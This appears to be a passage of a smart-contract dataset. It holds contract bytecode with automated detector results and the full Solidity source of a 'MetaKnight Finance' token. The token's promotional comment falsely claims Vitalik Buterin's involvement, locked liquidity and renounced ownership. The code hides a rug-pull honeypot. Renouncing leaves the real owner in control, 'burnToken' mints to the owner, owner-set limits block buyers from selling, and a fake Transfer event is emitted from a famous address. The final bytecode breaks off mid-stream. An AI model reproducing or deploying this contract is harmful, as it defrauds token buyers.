| 0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305dbe412146100a9578063105005a11461010c5780635c60da1b146101635780635de4003a146101ba57806371c6a34f146102435780638830afa01461029e578063c4d66de8146102f5578063dd9707ef1461032b578063e048757b146103e7578063f147f866146104b0575b600080fd5b3480156100b557600080fd5b5061010a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610539565b005b34801561011857600080fd5b506101216105fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b50610178610622565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101c657600080fd5b50610241600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061064c565b005b34801561024f57600080fd5b50610284600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a66565b604051808215151515815260200191505060405180910390f35b3480156102aa57600080fd5b506102b3610c22565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610329600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c48565b005b34801561033757600080fd5b5061036c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b506104ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610eb3565b005b3480156104bc57600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506115ff565b005b60001515600260149054906101000a900460ff16151514151561055b57600080fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600260146101000a81548160ff0219169083151502179055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061068c6040805190810160405280600d81526020017f54776f4b6579466163746f7279000000000000000000000000000000000000008152506120cb565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106c857600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced6040805190810160405280601381526020017f697343616d706169676e56616c69646174656400000000000000000000000000815250856040518083805190602001908083835b602083101515610772578051825260208201915060208101905060208303925061074d565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902060016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b15801561084857600080fd5b505af115801561085c573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e8995506040805190810160405280601981526020017f63616d706169676e324e6f6e53696e676c65746f6e4861736800000000000000815250856040518083805190602001908083835b60208310151561090a57805182526020820191506020810190506020830392506108e5565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401925050506040518091039020846040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b838110156109f35780820151818401526020810190506109d8565b50505050905090810190601f168015610a205780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b158015610a4057600080fd5b505af1158015610a54573d6000803e3d6000fd5b50505050610a6183612205565b505050565b6000806040805190810160405280601381526020017f697343616d706169676e56616c69646174656400000000000000000000000000815250836040518083805190602001908083835b602083101515610ad55780518252602082019150602081019050602083039250610ab0565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ae1cfca826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015610bdf57600080fd5b505af1158015610bf3573d6000803e3d6000fd5b505050506040513d6020811015610c0957600080fd5b8101908080519060200190929190505050915050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ca357600080fd5b50565b6060600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663986e791a6040805190810160405280601981526020017f63616d706169676e324e6f6e53696e676c65746f6e4861736800000000000000815250846040518083805190602001908083835b602083101515610d525780518252602082019150602081019050602083039250610d2d565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390206040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050600060405180830381600087803b158015610e1b57600080fd5b505af1158015610e2f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610e5957600080fd5b810190808051640100000000811115610e7157600080fd5b82810190506020810184811115610e8757600080fd5b8151856001820283011164010000000082111715610ea457600080fd5b50509291905050509050919050565b6000610ef36040805190810160405280600d81526020017f54776f4b6579466163746f7279000000000000000000000000000000000000008152506120cb565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f2f57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced6040805190810160405280601381526020017f697343616d706169676e56616c69646174656400000000000000000000000000815250876040518083805190602001908083835b602083101515610fd95780518252602082019150602081019050602083039250610fb4565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902060016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b1580156110af57600080fd5b505af11580156110c3573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced6040805190810160405280601381526020017f697343616d706169676e56616c69646174656400000000000000000000000000815250866040518083805190602001908083835b602083101515611171578051825260208201915060208101905060208303925061114c565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902060016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b15801561124757600080fd5b505af115801561125b573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced6040805190810160405280601381526020017f697343616d706169676e56616c69646174656400000000000000000000000000815250856040518083805190602001908083835b60208310151561130957805182526020820191506020810190506020830392506112e4565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902060016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b1580156113df57600080fd5b505af11580156113f3573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e8995506040805190810160405280601981526020017f63616d706169676e324e6f6e53696e676c65746f6e4861736800000000000000815250876040518083805190602001908083835b6020831015156114a1578051825260208201915060208101905060208303925061147c565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401925050506040518091039020846040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561158a57808201518184015260208101905061156f565b50505050905090810190601f1680156115b75780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b1580156115d757600080fd5b505af11580156115eb573d6000803e3d6000fd5b505050506115f885612205565b5050505050565b6000806000806116436040805190810160405280600d81526020017f54776f4b6579466163746f7279000000000000000000000000000000000000008152506120cb565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167f57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff16637981a7e06040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156116e357600080fd5b505af11580156116f7573d6000803e3d6000fd5b505050506040513d602081101561170d57600080fd5b810190808051906020019092919050505093508573ffffffffffffffffffffffffffffffffffffffff166308c043066040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561178457600080fd5b505af1158015611798573d6000803e3d6000fd5b505050506040513d60208110156117ae57600080fd5b810190808051906020019092919050505092508373ffffffffffffffffffffffffffffffffffffffff16631011e7636040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561182557600080fd5b505af1158015611839573d6000803e3d6000fd5b505050506040513d602081101561184f57600080fd5b81019080805190602001909291905050509150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced6040805190810160405280601381526020017f697343616d706169676e56616c69646174656400000000000000000000000000815250866040518083805190602001908083835b60208310151561190c57805182526020820191506020810190506020830392506118e7565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902060016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b1580156119e257600080fd5b505af11580156119f6573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced6040805190810160405280601381526020017f697343616d706169676e56616c69646174656400000000000000000000000000815250856040518083805190602001908083835b602083101515611aa45780518252602082019150602081019050602083039250611a7f565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902060016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b158015611b7a57600080fd5b505af1158015611b8e573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced6040805190810160405280601381526020017f697343616d706169676e56616c69646174656400000000000000000000000000815250846040518083805190602001908083835b602083101515611c3c5780518252602082019150602081019050602083039250611c17565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902060016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b158015611d1257600080fd5b505af1158015611d26573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced6040805190810160405280601381526020017f697343616d706169676e56616c69646174656400000000000000000000000000815250886040518083805190602001908083835b602083101515611dd45780518252602082019150602081019050602083039250611daf565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140192505050604051809103902060016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b158015611eaa57600080fd5b505af1158015611ebe573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e8995506040805190810160405280601981526020017f63616d706169676e324e6f6e53696e676c65746f6e4861736800000000000000815250886040518083805190602001908083835b602083101515611f6c5780518252602082019150602081019050602083039250611f47565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401925050506040518091039020876040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561205557808201518184015260208101905061203a565b50505050905090810190601f1680156120825780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b1580156120a257600080fd5b505af11580156120b6573d6000803e3d6000fd5b505050506120c386612205565b505050505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663db7a6d90836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561217757808201518184015260208101905061215c565b50505050905090810190601f1680156121a45780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1580156121c357600080fd5b505af11580156121d7573d6000803e3d6000fd5b505050506040513d60208110156121ed57600080fd5b81019080805190602001909291905050509050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1663fbfd20456040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561226e57600080fd5b505af1158015612282573d6000803e3d6000fd5b505050506040513d602081101561229857600080fd5b810190808051906020019092919050505092508373ffffffffffffffffffffffffffffffffffffffff1663387439046040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561230f57600080fd5b505af1158015612323573d6000803e3d6000fd5b505050506040513d602081101561233957600080fd5b8101908080519060200190929190505050915061238a6040805190810160405280601181526020017f54776f4b65794576656e74536f757263650000000000000000000000000000008152506120cb565b90508073ffffffffffffffffffffffffffffffffffffffff16632254a1b78585856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b15801561248f57600080fd5b505af11580156124a3573d6000803e3d6000fd5b50505050505050505600a165627a7a723058208660501c6990d25ba5da1f4e2ea40586421ebbaa06f9093caff6056a51172deb0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,149 |
0xef3ab2b7764d99bdcaaba4c4cb35259087d1d1d4 | /*
In collaboration with Vitalik Buterin we are pleased to announce a new token to take to the skies...
⚔️ MetaKnight Finance ⚔️
A brand new, innovative, powerful reflect token on the Ethereum network!
Our benefits:
1️⃣ Reflect - This is a reflect token offering passive income in both ETH and MetaKnight token 🥂
2️⃣ Safety - We locked liquidity for six months and also renounced ownership to guarantee that funds are safe! 🔑
3️⃣ Marketing - An aggressive marketing plan is under way after launch with the aim to make this token grow at a consistent rate! 💻 💰
4️⃣ Fair Launch - No presale whales. We have done a silent launch to eliminate pre-sale whales! 🚫 🐋 = 🚀
Quality community and dev team behind this - developer dox and roadmap will be released as it is imperative to development!
@MetaKnightToken
https://metaknight.finance/
*/
pragma solidity ^0.6.4;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract MetaKnightFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 2000000 * 10**18;
uint256 private rTotal = 2000000 * 10**18;
string private _name = 'MetaKnight Finance | https://metaknight.finance';
string private _symbol = 'META🌃';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function burnPercent(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function burnToken(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637b47ec1a11610097578063b4a99a4e11610066578063b4a99a4e146104b7578063c5398cfd14610501578063dd62ed3e1461052f578063f2fde38b146105a757610100565b80637b47ec1a1461035c57806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce567146102925780636aae83f3146102b657806370a08231146102fa578063715018a61461035257610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102f8600480360360208110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061078b565b005b61033c6004803603602081101561031057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610898565b6040518082815260200191505060405180910390f35b61035a6108e1565b005b6103886004803603602081101561037257600080fd5b8101908080359060200190929190505050610a6a565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052d6004803603602081101561051757600080fd5b8101908080359060200190929190505050610e95565b005b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600954905090565b60006106c284848461136d565b610769846106ce611206565b61076485600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108e9611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a72611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610b53611206565b73ffffffffffffffffffffffffffffffffffffffff161415610b7457600080fd5b610b898160095461167e90919063ffffffff16565b600981905550610be88160056000610b9f611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60056000610bf4611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3a611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e9d611206565b73ffffffffffffffffffffffffffffffffffffffff